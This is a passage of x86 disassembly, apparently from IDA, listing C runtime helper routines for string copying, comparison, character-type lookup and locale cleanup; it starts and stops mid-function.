loc_4165A5:				; CODE XREF: sub_416217+380j
					; sub_416217+385j
		mov	eax, esi

loc_4165A7:				; CODE XREF: sub_416217+232j
					; sub_416217+26Aj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AFEE
		leave
		retn
sub_416217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165B9	proc near		; CODE XREF: sub_40ECF7+B6p
					; sub_40ECF7+DBp ...

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_416217
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_4165FA
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4165FA:				; CODE XREF: sub_4165B9+38j
		leave
		retn
sub_4165B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165FC	proc near		; CODE XREF: sub_4167B4+29p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, dword_426474
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_416655
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41EC2C
		push	esi
		call	ds:dword_41E124	; GetStringTypeW
		test	eax, eax
		jz	short loc_41663B
		mov	dword_426474, esi
		jmp	short loc_41666F
; ---------------------------------------------------------------------------

loc_41663B:				; CODE XREF: sub_4165FC+35j
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_416650
		push	2
		pop	eax
		mov	dword_426474, eax
		jmp	short loc_416655
; ---------------------------------------------------------------------------

loc_416650:				; CODE XREF: sub_4165FC+48j
		mov	eax, dword_426474

loc_416655:				; CODE XREF: sub_4165FC+1Dj
					; sub_4165FC+52j
		cmp	eax, 2
		jz	loc_41672D
		cmp	eax, ebx
		jz	loc_41672D
		cmp	eax, 1
		jnz	loc_416757

loc_41666F:				; CODE XREF: sub_4165FC+3Dj
		cmp	[ebp+arg_10], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_41667F
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_41667F:				; CODE XREF: sub_4165FC+79j
		mov	esi, ds:dword_41E0A0
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416757
		jle	short loc_4166EA
		cmp	edi, 7FFFFFF0h
		ja	short loc_4166EA
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_4166D4
		call	sub_41A520
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_4166E8
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_4166E5
; ---------------------------------------------------------------------------

loc_4166D4:				; CODE XREF: sub_4165FC+C3j
		push	eax
		call	sub_40DC83
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4166E8
		mov	dword ptr [eax], 0DDDDh

loc_4166E5:				; CODE XREF: sub_4165FC+D6j
		add	eax, 8

loc_4166E8:				; CODE XREF: sub_4165FC+CEj
					; sub_4165FC+E1j
		mov	ebx, eax

loc_4166EA:				; CODE XREF: sub_4165FC+B0j
					; sub_4165FC+B8j
		test	ebx, ebx
		jz	short loc_416757
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_416721
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_41E124	; GetStringTypeW
		mov	[ebp+var_8], eax

loc_416721:				; CODE XREF: sub_4165FC+112j
		push	ebx
		call	sub_4161FC
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_4167A2
; ---------------------------------------------------------------------------

loc_41672D:				; CODE XREF: sub_4165FC+5Cj
					; sub_4165FC+64j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41673C
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax

loc_41673C:				; CODE XREF: sub_4165FC+136j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_416749
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_416749:				; CODE XREF: sub_4165FC+143j
		push	[ebp+arg_14]
		call	sub_41A324
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41675B

loc_416757:				; CODE XREF: sub_4165FC+6Dj
					; sub_4165FC+AAj ...
		xor	eax, eax
		jmp	short loc_4167A2
; ---------------------------------------------------------------------------

loc_41675B:				; CODE XREF: sub_4165FC+159j
		cmp	eax, [ebp+arg_10]
		jz	short loc_41677E
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_41A36B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_416757
		mov	[ebp+arg_4], esi

loc_41677E:				; CODE XREF: sub_4165FC+162j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	ds:off_41E128
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_4167A0
		push	esi
		call	sub_40DBA6
		pop	ecx

loc_4167A0:				; CODE XREF: sub_4165FC+19Bj
		mov	eax, edi

loc_4167A2:				; CODE XREF: sub_4165FC+12Fj
					; sub_4165FC+15Dj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AFEE
		leave
		retn
sub_4165FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B4	proc near		; CODE XREF: sub_40ECF7+96p
					; sub_416D04+83p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4165FC
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_4167F2
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4167F2:				; CODE XREF: sub_4167B4+35j
		leave
		retn
sub_4167B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167F4	proc near		; CODE XREF: sub_40F302+E9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_416982
		push	dword ptr [esi+4]
		call	sub_40DBA6
		push	dword ptr [esi+8]
		call	sub_40DBA6
		push	dword ptr [esi+0Ch]
		call	sub_40DBA6
		push	dword ptr [esi+10h]
		call	sub_40DBA6
		push	dword ptr [esi+14h]
		call	sub_40DBA6
		push	dword ptr [esi+18h]
		call	sub_40DBA6
		push	dword ptr [esi]
		call	sub_40DBA6
		push	dword ptr [esi+20h]
		call	sub_40DBA6
		push	dword ptr [esi+24h]
		call	sub_40DBA6
		push	dword ptr [esi+28h]
		call	sub_40DBA6
		push	dword ptr [esi+2Ch]
		call	sub_40DBA6
		push	dword ptr [esi+30h]
		call	sub_40DBA6
		push	dword ptr [esi+34h]
		call	sub_40DBA6
		push	dword ptr [esi+1Ch]
		call	sub_40DBA6
		push	dword ptr [esi+38h]
		call	sub_40DBA6
		push	dword ptr [esi+3Ch]
		call	sub_40DBA6
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_40DBA6
		push	dword ptr [esi+44h]
		call	sub_40DBA6
		push	dword ptr [esi+48h]
		call	sub_40DBA6
		push	dword ptr [esi+4Ch]
		call	sub_40DBA6
		push	dword ptr [esi+50h]
		call	sub_40DBA6
		push	dword ptr [esi+54h]
		call	sub_40DBA6
		push	dword ptr [esi+58h]
		call	sub_40DBA6
		push	dword ptr [esi+5Ch]
		call	sub_40DBA6
		push	dword ptr [esi+60h]
		call	sub_40DBA6
		push	dword ptr [esi+64h]
		call	sub_40DBA6
		push	dword ptr [esi+68h]
		call	sub_40DBA6
		push	dword ptr [esi+6Ch]
		call	sub_40DBA6
		push	dword ptr [esi+70h]
		call	sub_40DBA6
		push	dword ptr [esi+74h]
		call	sub_40DBA6
		push	dword ptr [esi+78h]
		call	sub_40DBA6
		push	dword ptr [esi+7Ch]
		call	sub_40DBA6
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_40DBA6
		push	dword ptr [esi+84h]
		call	sub_40DBA6
		push	dword ptr [esi+88h]
		call	sub_40DBA6
		push	dword ptr [esi+8Ch]
		call	sub_40DBA6
		push	dword ptr [esi+90h]
		call	sub_40DBA6
		push	dword ptr [esi+94h]
		call	sub_40DBA6
		push	dword ptr [esi+98h]
		call	sub_40DBA6
		push	dword ptr [esi+9Ch]
		call	sub_40DBA6
		push	dword ptr [esi+0A0h]
		call	sub_40DBA6
		push	dword ptr [esi+0A4h]
		call	sub_40DBA6
		push	dword ptr [esi+0A8h]
		call	sub_40DBA6
		add	esp, 2Ch

loc_416982:				; CODE XREF: sub_4167F4+7j
		pop	esi
		retn
sub_4167F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416984	proc near		; CODE XREF: sub_40F302+64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4169C2
		mov	eax, [esi]
		cmp	eax, off_423F18
		jz	short loc_41699E
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_41699E:				; CODE XREF: sub_416984+11j
		mov	eax, [esi+4]
		cmp	eax, off_423F1C
		jz	short loc_4169B0
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_4169B0:				; CODE XREF: sub_416984+23j
		mov	esi, [esi+8]
		cmp	esi, off_423F20
		jz	short loc_4169C2
		push	esi
		call	sub_40DBA6
		pop	ecx

loc_4169C2:				; CODE XREF: sub_416984+7j
					; sub_416984+35j
		pop	esi
		retn
sub_416984	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169C4	proc near		; CODE XREF: sub_40F302+43p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_416A4B
		mov	eax, [esi+0Ch]
		cmp	eax, off_423F24
		jz	short loc_4169DF
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_4169DF:				; CODE XREF: sub_4169C4+12j
		mov	eax, [esi+10h]
		cmp	eax, off_423F28
		jz	short loc_4169F1
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_4169F1:				; CODE XREF: sub_4169C4+24j
		mov	eax, [esi+14h]
		cmp	eax, off_423F2C
		jz	short loc_416A03
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_416A03:				; CODE XREF: sub_4169C4+36j
		mov	eax, [esi+18h]
		cmp	eax, off_423F30
		jz	short loc_416A15
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_416A15:				; CODE XREF: sub_4169C4+48j
		mov	eax, [esi+1Ch]
		cmp	eax, off_423F34
		jz	short loc_416A27
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_416A27:				; CODE XREF: sub_4169C4+5Aj
		mov	eax, [esi+20h]
		cmp	eax, off_423F38
		jz	short loc_416A39
		push	eax
		call	sub_40DBA6
		pop	ecx

loc_416A39:				; CODE XREF: sub_4169C4+6Cj
		mov	esi, [esi+24h]
		cmp	esi, off_423F3C
		jz	short loc_416A4B
		push	esi
		call	sub_40DBA6
		pop	ecx

loc_416A4B:				; CODE XREF: sub_4169C4+7j
					; sub_4169C4+7Ej
		pop	esi
		retn
sub_4169C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A4D	proc near		; CODE XREF: sub_413D84+117p
					; sub_413D84+139p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		jz	short loc_416A62
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_416A7D

loc_416A62:				; CODE XREF: sub_416A4D+Bj
					; sub_416A4D+3Aj
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_416A6C:				; CODE XREF: sub_416A4D+69j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_416ABA
; ---------------------------------------------------------------------------

loc_416A7D:				; CODE XREF: sub_416A4D+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_416A89

loc_416A85:				; CODE XREF: sub_416A4D+48j
		mov	[eax], bl
		jmp	short loc_416A62
; ---------------------------------------------------------------------------

loc_416A89:				; CODE XREF: sub_416A4D+36j
		mov	edx, eax

loc_416A8B:				; CODE XREF: sub_416A4D+44j
		cmp	[edx], bl
		jz	short loc_416A93
		inc	edx
		dec	edi
		jnz	short loc_416A8B

loc_416A93:				; CODE XREF: sub_416A4D+40j
		cmp	edi, ebx
		jz	short loc_416A85

loc_416A97:				; CODE XREF: sub_416A4D+55j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_416AA4
		dec	edi
		jnz	short loc_416A97

loc_416AA4:				; CODE XREF: sub_416A4D+52j
		cmp	edi, ebx
		jnz	short loc_416AB8
		mov	[eax], bl
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_416A6C
; ---------------------------------------------------------------------------

loc_416AB8:				; CODE XREF: sub_416A4D+59j
		xor	eax, eax

loc_416ABA:				; CODE XREF: sub_416A4D+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416A4D	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_416AD4:				; CODE XREF: .text:00416AE1j
		mov	al, [edx]
		or	al, al
		jz	short loc_416AE3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_416AD4
; ---------------------------------------------------------------------------

loc_416AE3:				; CODE XREF: .text:00416AD8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]

loc_416AEC:				; CODE XREF: .text:00416AFCj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_416AFE
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_416AEC

loc_416AFE:				; CODE XREF: .text:00416AF3j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B06	proc near		; CODE XREF: sub_413D84+F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		push	edi
		jnz	short loc_416B26
		cmp	esi, ebx
		jnz	short loc_416B2A
		cmp	[ebp+arg_4], ebx
		jnz	short loc_416B31

loc_416B1F:				; CODE XREF: sub_416B06+4Dj
					; sub_416B06+8Cj
		xor	eax, eax

loc_416B21:				; CODE XREF: sub_416B06+44j
					; sub_416B06+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_416B26:				; CODE XREF: sub_416B06+Ej
		cmp	esi, ebx
		jz	short loc_416B31

loc_416B2A:				; CODE XREF: sub_416B06+12j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_416B4C

loc_416B31:				; CODE XREF: sub_416B06+17j
					; sub_416B06+22j ...
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_416B3B:				; CODE XREF: sub_416B06+B1j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_416B21
; ---------------------------------------------------------------------------

loc_416B4C:				; CODE XREF: sub_416B06+29j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416B55
		mov	[esi], bl
		jmp	short loc_416B1F
; ---------------------------------------------------------------------------

loc_416B55:				; CODE XREF: sub_416B06+49j
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_416B60
		mov	[esi], bl
		jmp	short loc_416B31
; ---------------------------------------------------------------------------

loc_416B60:				; CODE XREF: sub_416B06+54j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_416B77

loc_416B68:				; CODE XREF: sub_416B06+6Dj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_416B90
		dec	edi
		jnz	short loc_416B68
		jmp	short loc_416B90
; ---------------------------------------------------------------------------

loc_416B77:				; CODE XREF: sub_416B06+60j
					; sub_416B06+81j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_416B89
		dec	edi
		jz	short loc_416B89
		dec	[ebp+arg_C]
		jnz	short loc_416B77

loc_416B89:				; CODE XREF: sub_416B06+79j
					; sub_416B06+7Cj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416B90
		mov	[eax], bl

loc_416B90:				; CODE XREF: sub_416B06+6Aj
					; sub_416B06+6Fj ...
		cmp	edi, ebx
		jnz	short loc_416B1F
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_416BA9
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_416B21
; ---------------------------------------------------------------------------

loc_416BA9:				; CODE XREF: sub_416B06+92j
		mov	[esi], bl
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_416B3B
sub_416B06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB9	proc near		; CODE XREF: sub_418AF4+32p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_416BD0
		xor	eax, eax
		jmp	loc_416C6A
; ---------------------------------------------------------------------------

loc_416BD0:				; CODE XREF: sub_416BB9+Ej
		cmp	ebx, 4
		push	edi
		jb	short loc_416C4B
		lea	edi, [ebx-4]
		test	edi, edi
		jbe	short loc_416C4B
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]

loc_416BE3:				; CODE XREF: sub_416BB9+66j
		mov	dl, [eax]
		add	eax, 4
		add	ecx, 4
		test	dl, dl
		jz	short loc_416C41
		cmp	dl, [ecx-4]
		jnz	short loc_416C41
		mov	dl, [eax-3]
		test	dl, dl
		jz	short loc_416C37
		cmp	dl, [ecx-3]
		jnz	short loc_416C37
		mov	dl, [eax-2]
		test	dl, dl
		jz	short loc_416C2D
		cmp	dl, [ecx-2]
		jnz	short loc_416C2D
		mov	dl, [eax-1]
		test	dl, dl
		jz	short loc_416C23
		cmp	dl, [ecx-1]
		jnz	short loc_416C23
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], edi
		jb	short loc_416BE3
		jmp	short loc_416C62
; ---------------------------------------------------------------------------

loc_416C23:				; CODE XREF: sub_416BB9+58j
					; sub_416BB9+5Dj
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		jmp	short loc_416C73
; ---------------------------------------------------------------------------

loc_416C2D:				; CODE XREF: sub_416BB9+4Cj
					; sub_416BB9+51j
		movzx	eax, byte ptr [eax-2]
		movzx	ecx, byte ptr [ecx-2]
		jmp	short loc_416C73
; ---------------------------------------------------------------------------

loc_416C37:				; CODE XREF: sub_416BB9+40j
					; sub_416BB9+45j
		movzx	eax, byte ptr [eax-3]
		movzx	ecx, byte ptr [ecx-3]
		jmp	short loc_416C73
; ---------------------------------------------------------------------------

loc_416C41:				; CODE XREF: sub_416BB9+34j
					; sub_416BB9+39j
		movzx	eax, byte ptr [eax-4]
		movzx	ecx, byte ptr [ecx-4]
		jmp	short loc_416C73
; ---------------------------------------------------------------------------

loc_416C4B:				; CODE XREF: sub_416BB9+1Bj
					; sub_416BB9+22j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		jmp	short loc_416C62
; ---------------------------------------------------------------------------

loc_416C53:				; CODE XREF: sub_416BB9+ACj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_416C6D
		cmp	dl, [ecx]
		jnz	short loc_416C6D
		inc	eax
		inc	ecx
		inc	[ebp+var_4]

loc_416C62:				; CODE XREF: sub_416BB9+68j
					; sub_416BB9+98j
		cmp	[ebp+var_4], ebx
		jb	short loc_416C53
		xor	eax, eax

loc_416C69:				; CODE XREF: sub_416BB9+BCj
		pop	edi

loc_416C6A:				; CODE XREF: sub_416BB9+12j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_416C6D:				; CODE XREF: sub_416BB9+9Ej
					; sub_416BB9+A2j
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]

loc_416C73:				; CODE XREF: sub_416BB9+72j
					; sub_416BB9+7Cj ...
		sub	eax, ecx
		jmp	short loc_416C69
sub_416BB9	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_416C94:				; CODE XREF: .text:00416CA1j
		mov	al, [edx]
		or	al, al
		jz	short loc_416CA3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_416C94
; ---------------------------------------------------------------------------

loc_416CA3:				; CODE XREF: .text:00416C98j
		mov	esi, [ebp+8]
		mov	edi, edi

loc_416CA8:				; CODE XREF: .text:00416CB5j
		mov	al, [esi]
		or	al, al
		jz	short loc_416CBA
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_416CA8
		lea	eax, [esi-1]

loc_416CBA:				; CODE XREF: .text:00416CACj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC0	proc near		; CODE XREF: sub_40FB3B+93p
					; sub_410EB7+34Dp ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_416CF4
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_416CF4:				; CODE XREF: sub_416CC0+2Bj
		leave
		retn
sub_416CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CF6	proc near		; CODE XREF: sub_413137+6CBp
					; sub_413137+B85p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416CC0
		pop	ecx
		pop	ecx
		retn
sub_416CF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D04	proc near		; CODE XREF: sub_40FB3B+32p
					; sub_4146FB+81p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_40AFFD
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_416D32
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_416DA7
; ---------------------------------------------------------------------------

loc_416D32:				; CODE XREF: sub_416D04+1Dj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_416CC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416D63
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_416D6D
; ---------------------------------------------------------------------------

loc_416D63:				; CODE XREF: sub_416D04+4Bj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx

loc_416D6D:				; CODE XREF: sub_416D04+5Dj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_4167B4
		add	esp, 20h
		test	eax, eax
		jnz	short loc_416DA3
		cmp	[ebp+var_C], al
		jz	short loc_416D9F
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_416D9F:				; CODE XREF: sub_416D04+92j
		xor	eax, eax
		jmp	short loc_416DB7
; ---------------------------------------------------------------------------

loc_416DA3:				; CODE XREF: sub_416D04+8Dj
		movzx	eax, [ebp+var_4]

loc_416DA7:				; CODE XREF: sub_416D04+2Cj
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_416DB7
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_416DB7:				; CODE XREF: sub_416D04+9Dj
					; sub_416D04+AAj
		pop	ebx
		leave
		retn
sub_416D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DBA	proc near		; CODE XREF: sub_412269+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_42647C, eax
		retn
sub_416DBA	endp

; ---------------------------------------------------------------------------

loc_416DC4:				; DATA XREF: sub_416DD4:loc_416E39o
		push	dword ptr [esp+4]
		call	ds:off_41E120
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD4	proc near		; CODE XREF: sub_40FD61+26p
					; sub_40FE14+78p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	14h
		push	offset dword_421E38
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	dword_42647C
		call	sub_40F674
		pop	ecx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_416E4A
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412056
		pop	ecx
		cmp	eax, edi
		jz	short loc_416E12
		push	edi
